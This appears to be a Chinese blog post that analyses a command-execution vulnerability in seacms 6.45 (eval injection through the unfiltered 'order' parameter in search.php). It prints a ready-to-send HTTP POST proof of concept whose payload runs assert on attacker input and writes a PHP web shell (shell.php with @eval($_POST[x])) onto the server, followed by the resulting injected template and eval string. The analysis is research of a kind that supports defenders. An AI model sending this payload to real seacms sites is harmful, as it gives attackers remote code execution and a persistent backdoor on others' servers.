zoukankan      html  css  js  c++  java
  • seacms 6.45 命令执行漏洞分析

    前言

    这是一个比较老的漏洞了,不过漏洞原理还是挺有意思的。

    正文

    漏洞位于 search.php 文件中。

    paste image

    首先包含了 common.php, 这个文件里面做了一些初始化工作,其中最重要的是对提交参数的处理。

    paste image

    注册提交的参数为系统全局变量,很容易出现变量覆盖漏洞。

    下面回到 search.php , 之后对变量进行处理以及过滤。

    paste image

    然后会 $searchtype 的值来选择渲染内容的模板。
    paste image

    之后就是对模板文件中的内容进行替换。
    paste image

    然后进入 $mainClassObj->parseIf 解析 if 语句
    paste image

    $mainClassObj->parseIf 最后会调用 eval 解析。
    paste image

    我们的目标就是 污染 eval 的参数。

    poc:

    POST /search.php HTTP/1.1
    Host: hack.seacms.top
    Content-Length: 176
    Cache-Control: max-age=0
    Origin: http://hack.seacms.top
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://hack.seacms.top/?XDEBUG_SESSION_START=15261
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=clcblhpau94ae8v6mfg5q1iil1; XDEBUG_SESSION=15261
    Connection: close
    
    order=}{end%20if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end%20if}&searchtype=5&searchword=123&func=assert&cmd=fwrite(fopen('shell.php','w'),'<?php%20@eval($_POST[x])?>');
    

    输入这个之后,首先闭合前面一个 {if:", 后面再单独形成一个 if 标签。

    调试看看,完成替换以后,就会形成

    {if:"}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}"=="time"}
    

    paste image

    然后在 parseIf 提取 if  语句对应标签内容时,可以看到我们的输入被识别成了标签。
    paste image

    最后在 eval 时,执行的其实是

    if(1)print_r($_POST[func]($_POST[cmd]));//){$ifFlag=true;}else{$ifFlag=false;}
    

    使用searchtype=5 是为了使用 cascade.html 最为模板,因为这里面才有 if 标签

    paste image

    而用 order 来传递 payload, 原因在于 order 变量没有做过滤处理,而且 order 的值会用来替换掉 {searchpage:ordername}.

    $content = str_replace("{searchpage:ordername}",$order,$content);
    

    参考

    https://bbs.ichunqiu.com/thread-35085-1-1.html

  • 相关阅读:
    购买电脑注意事项
    这个题用堆排序还是直接插入法呢?
    2011新历年最后一天了
    VC中对于Dialog,OnCreate()和OnInitDialog()是什么关系
    英语问题,(有些答案不对,不对的请说一声)
    尝鲜之在Github上搭建Octopress博客
    nodejs+express+ejs+mongoose实例
    Hadoop问题小记
    Storm资料汇总
    C# 集合类 Array Arraylist List Hashtable Dictionary Stack Queue 泛型
  • 原文地址:https://www.cnblogs.com/hac425/p/9416779.html
Copyright © 2011-2022 走看看